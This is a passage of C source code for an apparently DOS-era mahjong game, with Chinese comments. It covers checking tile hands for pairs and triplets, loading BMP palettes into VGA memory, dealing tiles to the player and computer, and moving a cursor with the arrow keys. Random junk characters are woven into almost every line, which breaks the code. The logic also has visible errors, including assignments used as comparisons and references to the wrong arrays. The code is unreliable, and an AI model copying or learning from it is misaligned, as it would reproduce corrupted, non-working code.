{if(kl==i)  ^* H, J8 O5 Q6 M- B
{5 {2 a, h. y6 M% d' U
kl=kl+2;
/ `8 ]1 y- ?* x" J4 c  i" j  nif(kl==8)4 n+ e# h8 r1 f/ M0 w9 [
break;
+ j7 M0 ^7 h2 p7 J; v}
$ q5 `4 g! \5 w# ~/ I0 A% Ttest[ill++]=pt[kl];
9 w7 {* h( Y7 |/ X( {2 F: ^* z}
) N; t1 Z, B+ N( z8 x: Sisthree(test,tt-2);
9 F: X0 z# N. i# i9 E}# b8 J6 ~0 g; {( e
} 5 B+ ]) z! t, j( a
else if(tt==9)( f) k0 j1 f6 ^9 R& C
isthree(pt,tt);+ Q* o: Z: H3 d8 l/ a# o2 M8 q4 b
else if(tt==11)$ i+ o: ]; D5 f0 H/ s" \2 f5 ?
for(i=0;i&lt;10;i++)) s! d: K- r* `4 r' |2 d' t
{. g' X- s8 z) h/ {# J# B
for(j=0;j&lt;2;j++)8 S/ A* V* i$ u% v
{test[j]=pt[i+j]; , n5 b: h3 M- U! A. W$ w5 y
}
4 f' {; l* A) e# z0 \if(istwo(test))
9 L8 R4 a% p* k2 r{ ill=0;
9 V$ W) k- d3 _. Z4 F% K$ X$ Vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( e4 @2 u( m) _* |
{if(kl==i)
; d4 _0 O* \$ V! |0 {{9 h9 ~; R: j& a
kl=kl+2;) ]" }) e8 V& e/ Y
if(kl==11)8 a) m* R# ~$ l6 u7 F0 i  v6 H
break;
" ~/ v) Y2 _) B4 i5 ~2 h3 |9 Z6 q}/ W  ^4 c$ P9 C# N% C, o; ~9 {# s
test[ill++]=pt[kl];1 v4 {: y. h7 ~
}
$ e1 x: z+ G. b2 P! risthree(test,tt-2); 0 T1 x5 w% ~- N$ M# ^0 f
}# j9 E8 F! V9 d4 s, @- V/ |5 I( |
}8 T7 m; d5 R% O& J
else if(tt=12): j- \2 `& A  n- v
isthree(pt,tt);
; [. P3 Q  V+ H8 a$ [3 f$ O8 Telse if(tt=14)! G0 T, y# Q2 t+ V7 p
for(i=0;i&lt;13;i++)
! ?! G& M+ u% O{& l1 F! q& {: c
for(j=0;j&lt;2;j++)5 C6 ~0 w* [* Q5 b7 ]  L
{test[j]=pt[i+j]; ; Y- M" Z2 C- \4 w) i
}
3 o. Z8 d% y0 Aif(istwo(test))- z9 U; u7 A- X! T: f" |" K7 g3 D# \
{ ill=0;+ ^( R( |/ v$ |! _8 ~: Z# b
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// k& x* w: N" l' ?8 ]
{if(kl==i)
9 A; a9 N! b8 `; j1 F9 y1 \{3 k) i2 t1 x5 L  L. q( H
kl=kl+2;
) H- |7 T$ [& n% k8 pif(kl==14)
0 d; g0 H" Q% q/ ]+ P! ~8 jbreak;
- Z$ V! L# |' U3 W4 c}
$ _; w9 ?8 `! U% u3 r/ dtest[ill++]=pt[kl];- r0 B, y4 T2 W
}
" b% Q9 ~( e, a. q5 r( |isthree(test,tt-2);
( W: j* _: V( J5 j. e}( M- D5 _& D* O: H9 I! @# ]
}. Y. U7 f2 p) O2 G9 G- j8 x
if(ii==2)8 b% W  |( Z7 A( W3 o
istwo(pi);) Y, q2 ]) i2 U/ ^$ |) u
else if(ii==3)
2 J- T# U3 ?0 J+ c/ c0 [isthree(pi,ii);
& H# |( w3 W  \& R. melse if(ii==5)
; S  X7 Q& h6 x5 V* P, N/*pi[5]原始牌数组,假设已经升序排列*/
+ V& C/ J  J( K( G6 z2 n" r3 X7 [2 ]/*test[3]用来放置测试牌的数组*/
: Y4 \+ }  t$ V2 L1 H$ p( wfor(i=0;i&lt;4;i++)6 y- ?$ |( N# S' L: d9 X- |  a
{/ \0 ^5 B( i) c! O2 T9 p
for(j=0;j&lt;2;j++)3 O, J' M- a' g3 q$ C
{test[j]=pi[i+j]; , C  ?2 Q2 a/ z) t. g& T6 A4 T
}- p3 u% E* x/ R" d+ O
if(istwo(test))
, S* H0 @( j5 e4 m, t- ]0 v{ ill=0;
' C# p+ j0 J3 K9 Gfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
$ n" M8 v% d+ d7 J{if(kl==i)% R# U$ A- g+ E3 P5 J5 o5 \! E
{4 z6 G0 ?4 D1 U! L  z+ [
kl=kl+2;9 k. O4 g6 ^) B# f
if(kl==5)! Y7 [3 E3 C/ J& s/ T
break;
  M6 U; b9 ^8 z}/ l( r- h6 V( p. w7 x( b3 v
test[ill++]=pw[kl];$ A- m# K2 `4 h! w& Z+ V& ?) V3 s& {+ w
}5 a  d" R, Q/ {: `4 O
isthree(test);$ I% [+ G$ T3 Z
}
. l0 d! E9 j1 r( B3 E( A) w9 D5 r, b7 k) `}
* i# G- E2 Y6 H9 @3 X+ v; gelse if(ii==6)) M/ r8 W) G. G# j+ u3 ]+ R9 `
isthree(pi,ii); 5 Y9 g4 s$ Y) B3 ^5 E4 h1 \. U" J& ?
else if(ii==8)
9 I) C, M( G: rfor(i=0;i&lt;7;i++)8 @2 H/ Y# Q: ^! M/ m( |/ r
{
: V) G" `) [2 g: ]9 Dfor(j=0;j&lt;2;j++)0 f# L# X: F  Q  z* L* ~3 F8 ~
{test[j]=pi[i+j];
& S' b1 X5 s: T}
% W5 Q1 v  `6 A+ t9 s% S, xif(istwo(test))
' V2 G1 r7 w7 M$ a, y: D{ ill=0;
! `& c, i9 U5 J. d1 A+ Ofor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
, U% S  m- u& L% g+ c! _{if(kl==i)$ S3 K+ b9 D) C) Y4 ?9 r  i# Y
{+ Y$ {# w' U# [
kl=kl+2;! Y* Q+ J1 n- y, [; _
if(kl==8)+ B' q# h) a7 J
break;
2 R4 g9 \/ I1 a; b3 P) N}
. @) c0 H0 ~8 j" L: k. m8 w- itest[ill++]=pi[kl];
6 U: I; s" z/ c; {+ P}
; L7 z& c5 ]  Q8 l; Qisthree(test,ii-2);: c' l" G! h# l1 e: k
}
, c' R& F! k% \# k3 a} $ ~6 [- T: B9 k0 s' o: W4 ]
else if(ii==9)
; k2 ]2 Z4 M7 ?1 tisthree(pi,ii);. h' ?) o& h8 t8 k: Z6 P
else if(ii==11)
$ m1 X# N) u8 L6 a8 G* E' nfor(i=0;i&lt;10;i++)
4 }' [( Y; x0 ]* \2 l, B3 G{
* }3 X0 q7 ^9 `" R! J* d) [) _for(j=0;j&lt;2;j++)
* t* l7 ^4 u8 @{test[j]=pi[i+j];
; Z/ |' L" {9 ^2 q( y! w" ]}$ I0 [! S, i3 I5 h
if(istwo(test))
. w5 J' b4 Y* _7 k) {- M. i{ ill=0;
9 \) X8 v& R# A7 `! H- N* ^% ~for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# c/ P0 `' W; U: z{if(kl==i)' [0 {  R0 F$ B
{
! s+ T" Q) F8 e; xkl=kl+2;
6 Z# \0 E7 x8 k( n, Kif(kl==11): L$ o: Z9 Q! S! Q# d  a
break;
3 O& p5 ^# S# x! c: B/ {}
9 e7 D( S* _9 c+ v5 c! y. r2 Qtest[ill++]=pi[kl];5 |5 N9 c+ m* w1 M
}; h% J6 M3 Y4 i
isthree(test,ii-2); ) f. O4 l4 U9 p+ B& \
}
1 y$ y5 }7 }* q) F} ' {, ]; _7 b# n$ S- y: E" f5 D) f
else if(ii=12)) k, `. n9 ^6 u! P
isthree(pi,ii);0 U% x& w1 O8 _
else if(ii=14): B: D5 ]5 v$ m/ h; j
for(i=0;i&lt;13;i++)& R9 i3 H/ v  a( }
{
2 U# W$ I/ N* J: dfor(j=0;j&lt;2;j++)4 W) N; B6 N8 ]' b
{test[j]=pi[i+j];
; D0 Q! R( f2 w/ U) {+ E}7 Q& G( @6 a% U6 v, A
if(istwo(test))
' ~' c( I& f. d5 w- v{ ill=0;4 l: |1 U- Y; B" Y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- d$ j' |. l7 g{if(kl==i)
- d+ {, i8 Z6 K8 D) f{
' O; H% q3 A. \* z$ ?9 Dkl=kl+2;. o4 s& n5 B8 t! ]
if(kl==14)
9 h6 y6 J4 c$ ^4 pbreak;
, I, {7 R3 K% V" `3 y}1 `# Q8 `( X& [
test[ill++]=pi[kl];" t( `' u+ q* d" @
}
% w0 [4 |6 L& J3 o# o3 misthree(test,ii-2); ( I7 P, [5 p: k, a
}
4 F2 C3 B4 t/ o+ p* z}
3 Q8 v/ {8 }! Eif(ff==2)8 s* n/ ^) A/ k) w$ s7 k
istwo(pf);# t0 {: T0 z) c) A2 t2 Z$ z
else if(ff==3)
7 r3 F2 ~/ V# N9 X. F8 disthree(pf,ff);- ^) t$ C2 B# ]+ J% p9 Z
else if(ff==5)4 M1 e0 z  ~3 C5 W3 W# P- W
/*pf[5]原始牌数组,假设已经升序排列*/
. U1 k) t5 m% o4 U/*test[3]用来放置测试牌的数组*/
# f4 H4 e( {3 o$ tfor(i=0;i&lt;4;i++)8 Z; ~. v) h+ C3 T5 s5 g
{
/ |* R2 f7 W- Q2 x" }( afor(j=0;j&lt;2;j++)$ [' _9 Z) G1 U; V
{test[j]=pf[i+j]; ( D9 c* g" J9 H
}' o7 }, D6 }4 e/ S; {
if(istwo(test))
1 w, C  w  g6 o8 }8 T{ ill=0;$ J) a; J7 {* y* p: W
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
; K3 d8 a8 _; [; B' N{if(kl==i)
# D4 v, A: T+ b: d( w- |1 N{3 Y  N" n" U* B& @% E) y
kl=kl+2;1 S' A* N; ]4 N
if(kl==5)
$ v" f5 _. L0 e, b1 vbreak;# S7 d" u: y& |4 G. B
}1 C  D5 p# \* W: V( v: Q9 N
test[ill++]=pf[kl];
3 X1 E: d- H2 P; n/ e}
+ k2 n; U) H6 eisthree(test);
; o7 f. f/ `# O  T; [}7 l- Z# _7 W3 e. L& u) W+ T
}
3 \7 O2 S$ |$ P3 {; @else if(ff==6)' ?- g. I" W- O! L4 b
isthree(pf,ff); . t2 x  b* i3 {& G* \
else if(ff==8)1 ^1 N  b9 E8 S  i
for(i=0;i&lt;7;i++)( B0 V7 [2 ]6 ?- p
{
4 M0 @4 Q% d6 G3 G5 V5 ifor(j=0;j&lt;2;j++)
* h& B1 I0 b0 S# E* ]; s% n. R{test[j]=pf[i+j]; 1 o+ @7 k$ @" ?1 r+ \) Y
}! n0 }% d+ v/ l/ R3 {# b8 A7 {8 G9 U
if(istwo(test))9 N: s2 v- X7 `( }, ^4 k# b
{ ill=0;/ c0 H& p' @: i  x, g, n
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/$ ?# u! M( E6 J% k: Y
{if(kl==i)& J2 ~8 }$ h! Y* @
{! \1 `% e& p: S$ J; B3 u
kl=kl+2;
8 K' }, C' t- J, F0 z/ Iif(kl==8)
5 j$ [3 g( n1 \, d2 v7 Nbreak;
1 ?0 R0 T. |6 n9 n5 c, H1 _9 R}  g' y. ?$ L9 t6 S1 S
test[ill++]=pf[kl];
: Y, {! W4 ~5 A6 i}
3 J" ?5 e5 [% S$ i# @! \7 ?isthree(test,ff-2);   }  d- d/ M' L6 C" x
}
. v8 c5 \4 g, y- V& B1 H! `8 j# F  `}
8 D; r# x6 K4 N6 c5 j9 Qelse if(ff==9)
, [0 @  d2 |% E& O6 y! o4 jisthree(pw,ww);
4 j( a& D3 f% V1 Jelse if(ff==11)
- E4 N+ w% a! T% m, N# wfor(i=0;i&lt;10;i++)
4 U  Y" Z8 Q' @. m  ]2 O{+ u4 i( s0 `1 L
for(j=0;j&lt;2;j++)
2 z' w1 o7 c8 ^  W9 j{test[j]=pf[i+j];
4 v% t, v( \& l( ^6 _5 V}
  r# G/ F( t* ?; K' pif(istwo(test))8 N4 ^- }7 j- Z& d
{ ill=0;
& q! e( Q$ L* t- N7 k( \. l5 ]for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
4 C0 O* E2 h# y% ~. b2 _1 a% Q{if(kl==i); G, `  l9 Z4 r+ r" ?& c
{
# i) S+ B& z) z# V" Rkl=kl+2;
  d7 Z$ a. b+ j7 gif(kl==11)
% x/ f, v7 S. O* {) L; xbreak;0 x  H" |, C* J. \% x2 j9 a+ R
}
! t0 R6 f3 y) B2 Y6 k4 {test[ill++]=pf[kl];" n8 ~; V  ?& [( ?9 ]; r
}
7 @1 l; H# c  @" t9 X7 Q; qisthree(test,ff-2); 2 W, [9 `( ]$ o* a- S# n! U
}
, v) N9 [) p6 b} / B; C4 @$ `1 W4 @- s' Y( A
else if(ff=12)0 G" x. T" A- T& \' m$ l6 V% m+ f8 |
isthree(pf,ff);# w! T+ o2 V: m0 I4 D5 S
else if(ff=14)
; a. R3 ^% h2 Vfor(i=0;i&lt;13;i++)1 k) Y; E- B' I
{
8 j- O% w2 a( d7 o, i- Pfor(j=0;j&lt;2;j++)
$ B5 ~* ^$ q1 w' G& h1 D9 g{test[j]=pf[i+j]; # \- X, J2 Q  k( W( h" G% ?$ \3 ^
}
6 {/ v* d& j0 T# ]" v6 c- D" mif(istwo(test)): U0 L: Z8 E. G0 `6 B" j+ {% o
{ ill=0;7 e" ~, x9 o2 I& x, h2 |8 r
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
& @: v6 \' z: ?$ d" @6 g{if(kl==i)
8 M7 o; \  ^8 k4 c& T% a" z{
5 ]; Y( }: |" F  fkl=kl+2;
4 a  z1 r& ]% F$ X% `0 h2 hif(kl==14)4 e9 f% d! p% f- M, ^
break;
6 X3 }1 F+ ~. @& W1 a, n( U1 h}3 V& ^% L! I& a! N0 N# \$ Y. L
test[ill++]=pf[kl];8 b/ m+ T3 b0 o- E7 N6 ^% e0 i
}
8 l1 h$ b* C& c% cisthree(test,ff-2);
8 x2 {* a6 j4 k4 S7 G2 c1 d' `9 U}( B* S9 E/ B  f1 C% x: l
}
/ j) j+ y8 F# [% J( k}0 S0 E& t. j, S* U0 v( Q# m# r  W
void main(void)
- @" ]; _9 C' D, U{
: D, I/ b* ~9 I' |/ _" |FILE *bmp;
8 K. g/ y# Q( T, ]static char *name[2]={"ff.bmp","logo.bmp"};4 O1 S2 ?* }0 |; ?
char *p;! T, C3 e9 j4 B; Z& F
int *lingshi;
: q- z. L4 W6 kint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;! g9 ^$ A* \4 [  ^7 v. e
int every=0,w=0,x1,x2,y1,y2,every1=0;
5 t: v( @8 `2 n, Y& qint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;- D4 H8 ]( F" a! _
BYTE palette[256][3];
: n  D7 P. a# j8 ^( \! {SETVGA;
2 T" S- O: _+ j  K  H; {8 ^getch();
3 S, Y$ m* I, h1 S1 Gwhile(t--)
1 h* z) k7 w7 N2 H% x{
: B. E2 l' n- H. P' T# Y8 V8 y( Fbmp=fopen(name[t],"rb");
' k9 G0 a  w% |, K+ s7 gfseek(bmp,54,SEEK_SET);
+ G# C' y( Z, _0 Cfor(i=0;i&lt;256;i++); [) D' u$ @/ `0 v' ?/ B; J1 x+ _% w
{
, Z( [) J( ^  X, G& @' l& Spalette[2]=fgetc(bmp)&gt;&gt;2;
- L, R: ^& m$ E  Zpalette[1]=fgetc(bmp)&gt;&gt;2;
4 l8 y6 x7 q2 a- }palette[0]=fgetc(bmp)&gt;&gt;2;  ]9 t: u+ j/ `4 v6 P: l( O
fgetc(bmp);% U5 Q) K* P+ A: Q7 X7 f
Set_Palette(i,palette[0],palette[1],palette[2]);! Z3 l6 l- o+ N3 M* ^* d6 r+ R$ G
}5 T: S# j4 X* S# ^) Z. r
for (y=0;y&lt;200;y++)
2 A# L, U- W/ sfor(x=0;x&lt;320;x++)
1 t% o! `( c, R  K1 f. `pokeb(0xa000,y*320+x,fgetc(bmp));6 ^  L8 }/ E& _
fclose(bmp);
9 d' V7 b- Q* Q8 [getch();4 e- O% V( c  S# b) C8 k- S
}6 b! v: T$ s# h5 d$ V) C1 U
getch();. |% X: Z7 m0 r1 g4 d
fillRectangle(0,0,320,200,0);
' z" Y$ V5 c# n7 ~getch();/ o! G/ o' \6 l4 X2 w/ P% v( N
randomize();
) f/ b, H+ L$ p! ^me.m=onetothirteen;
$ D/ I" |/ Q! S8 Ewhile(me.m&gt;0) /*先循环,给自己拿牌*/
/ e; @0 g6 \# C8 ]' s, c{0 i! w& }" `- F$ D" \+ V2 z' h' m2 i
% O2 T# O' ^  ^4 h0 A' d& X
temp=random(136);
# I- ]  {6 h  G* ~4 ^8 W" Kif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
5 `# ^( {7 q: o# }{. i8 E& Y4 l* Q& l7 D" F
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
& `: b6 @1 R& N% {1 H2 \me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/! q+ t0 U0 o. }! j4 ^& J# }0 ]) i
me.pp[n].number=temp; /*第几张,用来排序*/
( f' h; n- p2 |) ~  I+ Y1 w$ R' um[temp].data2=1; /*判断牌是谁的*/
6 [8 z: P+ w) P( hkk=1;
2 a' W2 b9 I; a  t1 }# z! _}2 U) f/ B2 x7 q3 o% k
if(kk==0) /*判断如果又选择了,就从新再选*/( P: h; R9 n3 x9 w0 [2 W
{ # l$ ?/ ^, R$ h0 p5 E7 M- I
me.m++;
* V. h; Q1 i) h% g* Sn--;; B3 m' j" o- t# V
}
; m6 @( C8 l% Q$ ]( ?, mme.m--;
. N1 t. _2 a8 `" ^5 r3 `" `n++;
2 J" [, S' y3 o0 }) ~, n+ Ikk=0;
1 L3 a9 f7 {8 w( j) f}
' p6 M: X6 F; kme.m=12;; d* ?0 `* R7 M
melipai(); /*理牌*/
+ w! T9 p5 t8 ^4 F$ W8 r
$ d2 Q& [& q4 F; ^0 }n=13;" N0 u9 _0 s9 E* l" M7 p# j2 c7 Y
while(l&lt;n)
$ l* f% w7 ?$ Q+ N/ d{2 l) B- C4 |" Y5 s- o. T
z=z+20;- F( d% I3 o" J2 u+ d; l% D
showbmp(l);. X4 s0 X1 }( E1 `
l++;7 {) e7 y, H6 Z* ~4 @7 x

. x0 i) S" f$ H) A5 @}. ]0 t- U4 O! J  o( l
randomize();
1 [3 y, k2 K6 h2 D7 [  R% J4 C: h& Ocomputer.m=oneorthirteen;
" D: K( r& t) d7 ]  Q" ]n=0;
4 Q& y; w$ ^2 s4 z( M9 Dwhile(computer.m&gt;0) /*循环,给对方拿牌*/5 g4 M6 V$ `* L' W& ~/ n
{) j/ B) o! A( y, E# }
temp=random(136);7 _# |4 f7 Z# B3 O, P" `9 j! b
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
% X9 {5 |4 y7 Y3 U8 x  s{
& [+ h! S: P, _# Lcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
6 w1 F) J2 `4 ncomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
9 l' M3 u; u9 X" s5 u% ~# icomputer.pp[n].number=temp; /*第几张,用来排序*/
5 p6 q3 B5 g! p, [m[temp].data2=2; /*判断牌是谁的,2为电脑*/
& v6 J" Z9 ?8 d( {8 s; Zkk=1;
# u5 e- W; E& v# ?! L+ z3 F$ e! F}
: M, W  f+ u# S1 fif(kk==0) /*判断如果又选择了,就从新再选*/, A2 X4 c( D- e, D( m0 L
{ ) h9 i3 V5 ~- e) [: g
computer.m++;
7 ]9 n; F' k7 R. {% zn--;
6 F. q1 ]- S% E8 R# W}/ C/ \0 h! i! e5 a
computer.m--;/ k1 J# y9 E4 r- J, j  A' o0 E
n++;/ K; e0 S8 R" J
kk=0;
7 H  D0 n$ q! m# g$ C}
; E* g, P+ A% v! e  Q6 V& Z& Qcomputer.m=12;' S" V0 n* ], n/ R
comlipai(); /*电脑理牌*/
/ Z. L  D$ x/ I+ m- b% [4 Q( A8 ^8 Gn=13;
: E+ z7 h. h, A- }6 Z+ ^0 o: |; X0 lwhile(ll&lt;n)2 @$ p! I+ A+ @# d+ n, S) Z2 N
{
' b; J( G% J, G6 Ozy=zy+20;
- Z4 O8 S( d; B- w( D6 c8 wshowybmp(ll);! m; W: J; }* s: [$ X5 d$ B1 S" D9 f, }" {
ll++;. E3 H/ P7 ?: ]# g5 q* t3 J
}' x4 Y& A3 w  D( ]: X( @% a1 Y& h0 \
% J9 O, Z& B7 {  D9 u3 h$ G: [
z=54400;
0 J4 U5 C3 U' ^; c- Swhile(key!=ESC)
6 v7 Y; ]3 c9 g3 U8 `3 ]6 @{
4 B; W+ I+ W9 y4 Z& U7 S0 g) f: i& I8 Q- V3 x( j& k0 z
keyy=bioskey(0);* q8 w, L4 M+ s5 M9 ?% k* \4 u
if(keyy==LEFT)
! w- R1 V7 |1 q{ w=1;
! U- ~; H, n0 {2 ]( U/ d$ @if(every==0)
# z* {5 f' q! w{
! g% K' w8 [2 @. P: w0 x6 devery=1;
# C( u: ~% {3 W( rz=54440-5*320;
/ M+ F( O* b$ w, P7 P$ F
6 b+ w# f2 Y2 T$ E, [( D' K2 m) t}
+ [; [* w% o/ b! k2 kzz=zz+5*320;* ~- v( x6 ]5 h% v: Y% B* B
showbmp(every);
" |  @7 m4 O! g5 @  mif(every==0)/ g0 _" j0 o! Q( G. C6 t
{
; x+ {; P' [( ^6 Hx1=20;
6 N+ p' \+ I; v5 p8 Y8 Sy1=165;5 f2 N: z& f; q1 _
fillRectangle(x1,y1,x1+20,y1+4,0);  \( `! e: ?9 O9 a
}
: P: O' w4 p8 W, Bif(every==1)7 U9 }5 u' Z* d! t$ }$ v6 T
{" R) p  J: T' ^  g# u3 o3 _
x1=40;
* {. @4 f6 B  x. I5 zy1=165;
/ n: V9 {. M: v& j9 NfillRectangle(x1,y1,x1+20,y1+4,0);3 u# y5 A4 y9 V* y: ~) v0 ~
}, a" |8 L: j& w+ g
if(every==2)" ~0 O3 F2 C; \% G) W2 h* M
{
2 \) t* _$ r# r# k9 V/ Lx1=60;& k4 V0 c% c, k7 e9 i3 Y' }) N* f
y1=165;4 m0 k  ?9 Z% u+ y% F1 |$ P
fillRectangle(x1,y1,x1+20,y1+4,0);- s1 o8 u& h. n# Y5 K0 y, @
}. B  g2 C+ J9 t$ Y
if(every==3)
$ V3 C6 o0 }& w/ F- W2 X( D{
7 b& _- y4 _/ o- c; a& H6 g5 M2 yx1=80;% D) w) N# ~/ ~8 E9 [
y1=165;
3 r8 l+ _# ^% r. y- @1 EfillRectangle(x1,y1,x1+20,y1+4,0);# d0 S  a7 W' L0 E, _" z# g
}
; ~# k7 f" S' w( _( }if(every==4)9 _6 I5 N2 t: ^8 D0 C+ d: S$ i* V
{
( f+ F# @5 Q8 x$ p, v* Z3 ]x1=100;
/ {( ^- F# y  O9 E% Z0 by1=165;% d7 j1 n7 j  C( i: ~- R0 ]# q
fillRectangle(x1,y1,x1+20,y1+4,0);
. }* T, t0 |& O9 G, o}
8 @6 r! c: p( D$ g6 N' ?if(every==5)
8 {+ W# t7 Y% _1 N1 L6 s{5 q. E( |. X6 R
x1=120;6 K7 ]: S+ Y7 d
y1=165;
1 |( U) D6 Y  m( dfillRectangle(x1,y1,x1+20,y1+4,0);
6 _  R, b# I" T' K}
. b& B: l( a5 R/ F2 S1 F$ ^if(every==6)
% e% b" x) r+ n6 I3 B{' _: i# T8 s  s* A
x1=140;7 D* e/ O/ P% q. k1 `
y1=165;, x5 ^& w0 c1 h7 T+ B- C: u
fillRectangle(x1,y1,x1+20,y1+4,0);2 g9 G0 D+ B2 D0 c: p" S" X
}+ {4 s# b& N2 f# V: i( Z
if(every==7)
# d; f$ n& L/ U9 {9 y0 e2 b{+ w+ B; u( B) M; p
x1=160;9 S  U+ o6 f. Z: d( k
y1=165;* K' a: T8 Q$ N1 P7 J5 i
fillRectangle(x1,y1,x1+20,y1+4,0);, F& U$ q; s" Y# g2 v$ B
}- _' _8 f; @: x( G8 |' ]3 v
if(every==8)
) X# c0 d6 o5 a# y{4 j6 x/ ?% h0 x7 ~5 n* h
x1=180;$ K' O- N. `3 r' D9 \- ]2 [
y1=165;
- g2 L3 V/ {2 |1 B7 F' UfillRectangle(x1,y1,x1+20,y1+4,0);/ `4 T6 T6 \2 M& `
}
& F8 Y1 @7 ?  Z6 A" u$ lif(every==9)
* K: d: [; b3 @: W1 p9 n$ d1 M# F; N{
( e; i# A: X2 m7 i( {4 hx1=200;; A& j* O, r- m9 m: \$ k
y1=165;2 H5 ?+ Q/ f% h9 x5 s5 j
fillRectangle(x1,y1,x1+20,y1+4,0);3 ~% j/ ?/ w! m# @# p6 Z' h+ Q
}
3 w1 O# }' h3 [4 ^: @7 h* Dif(every==10); e& U. u  v: I: @) W) K
{
9 ^% I/ X5 C! G4 D3 Fx1=220;4 l' R7 J  v' [' r* |7 I; D
y1=165;
5 s4 e7 C! t' b7 T3 V7 z+ _fillRectangle(x1,y1,x1+20,y1+4,0);. j3 S! k, {, I$ ]
}
# B+ F) g% ~$ wif(every==11)
9 a7 Z" {& q$ ~  i% A! K' Y( A$ [9 U{0 t5 M( b2 p* V+ {* Q/ n0 ]$ H3 U
x1=240;! k2 q9 f, T& Y
y1=165;# C! a" b2 @- C5 r
fillRectangle(x1,y1,x1+20,y1+4,0);" n0 V. L- Y. l8 k  W
}. l% e8 W5 O# U# R. D# E
if(every==12)+ _2 O4 ?( |6 a' `) j% N$ g
{
: F* Y) ]- c5 a+ k. ox1=260;
2 {! l4 Z1 ~0 \6 Q/ s1 F2 Vy1=165;
( Y1 g. g; ^& f' kfillRectangle(x1,y1,x1+20,y1+4,0);
5 U8 O: R+ ]' A! T. G& ]% ]}% o5 B0 n. A' `" y( p, i: i
zz=0;  l8 u9 a# Z" ]5 {% Z; i
every--;$ N$ w( e; A! W! f
z=z-20;( O0 S- \  b2 Q  H, U
}
  l( f+ l; N( |' G* Qif(keyy==RIGHT): Z; @: n' N9 F* q, g$ l
{ if(w==0)
( G. X5 C  X8 Q0 L: P- ^{; i/ r; G- a0 f/ B7 `
z=54440-5*320;
% Q9 f2 {" n! B- r; F6 {8 dz=z-20;
) C2 U* J$ f: h; j6 }! A7 N/ S* F( xw=1;
6 D  P. L6 ^! j6 X}
8 a, Y: ?& g+ N4 hif(every==12) 4 g/ ^( \+ U3 Q, v8 H
{- Z9 c& W. f8 R
every=11;# V+ w/ n4 V, A& F. V
z=54640-5*320;! B3 t6 f  j* w$ j- W6 C/ K0 i
}
5 j. |. `8 h) T, S, K1 ^6 Kzz=zz+5*320;/ `/ A3 F6 `1 r; l; f
showbmp(every);
$ F* n  i$ ?6 M- H; C5 _3 {6 sif(every==0)/ Y  w+ n' Z8 m+ w0 ^' l
{
+ S0 N" d% q8 I- s6 w/ ^3 jx1=20;  E  g! a: |8 l( j3 z8 G* f& r
y1=165;: z5 C2 Q4 _3 B% r7 e; L
fillRectangle(x1,y1,x1+20,y1+4,0);
7 J$ U. c: J) X: B) t) q}
) @6 J9 i) ?7 b2 d2 R" bif(every==1)6 V% z2 K0 F& |6 X; O! }
{, h+ q4 r2 J" r8 e
x1=40;
% g2 Q4 X0 S$ {9 I. z8 @: }y1=165;8 K% D9 d2 h. Z; y8 k
fillRectangle(x1,y1,x1+20,y1+4,0);& l$ C3 w* A& A4 z1 Z" i
}
0 ?! [. |) b! b$ `+ [* oif(every==2)- S$ y4 ]; E4 H* e
{: J5 w1 ^- o" v& |" {
x1=60;
: w3 X% r: ?7 S9 p  J2 wy1=165;
8 C# n7 c: K; X; a  V3 c; }7 M& ifillRectangle(x1,y1,x1+20,y1+4,0);
! H" e8 r( D# e6 H}
& p( d! x) O8 S/ F+ {+ Gif(every==3)
; a% B0 H7 z( u9 f, ~{% Y: ~6 Y+ Z' S
x1=80;
$ ]5 q9 c4 [1 Qy1=165;7 F4 ]. q2 q. E  R8 e
fillRectangle(x1,y1,x1+20,y1+4,0);
  R$ {+ @; N7 b) G" ]+ P9 D}
3 c% W) h& C& tif(every==4). V+ M( `9 s$ I/ g# n: ?  \
{
* P2 m( c, r+ \% T. k* |% lx1=100;
0 ?2 ~& h5 c1 \# r* Xy1=165;
* `7 G$ ^$ c* l. O* GfillRectangle(x1,y1,x1+20,y1+4,0);3 g4 o/ g% [# \& K0 A
}
+ k; r) l. b/ G6 D* t1 m6 uif(every==5)$ |* S, F, b7 s
{( P9 u4 H& B( `4 J5 R
x1=120;+ y  Q# g' K3 D4 F2 [: T5 n- X
y1=165;& j) ^& K1 q6 A* [8 Y2 B5 ]
fillRectangle(x1,y1,x1+20,y1+4,0);
2 c$ g' ]# u* A  J}; H7 b8 ?0 w# o/ e4 ^
if(every==6); t- B& b" a2 R! X: X- v3 D* b
{+ o6 P& G# [4 d
x1=140;
/ [5 ^! g. Q4 v. }y1=165;
8 K5 d9 X0 j) t7 dfillRectangle(x1,y1,x1+20,y1+4,0);
) g( Q5 a: K' x4 g8 X  b}
5 X0 A2 ]7 d. J, b3 v% S2 xif(every==7)
; r5 x, x9 S1 F$ t- o2 a% C( P* M$ l) y{3 r9 z- Q$ w& r/ e
x1=160;( w4 |, ]6 `8 d1 E5 i
y1=165;+ X( V, f- R& t8 o1 U' u) w
fillRectangle(x1,y1,x1+20,y1+4,0);
9 v8 P3 ^0 M, H; M; `}
! u  v6 c" l, b1 H& X2 h) Dif(every==8)
5 Y4 F: t: n- u{
  C: ^% }3 f! S3 H5 B4 s6 nx1=180;
6 N9 _9 w  u6 z/ h/ cy1=165;
' X' K* Y- h4 vfillRectangle(x1,y1,x1+20,y1+4,0);
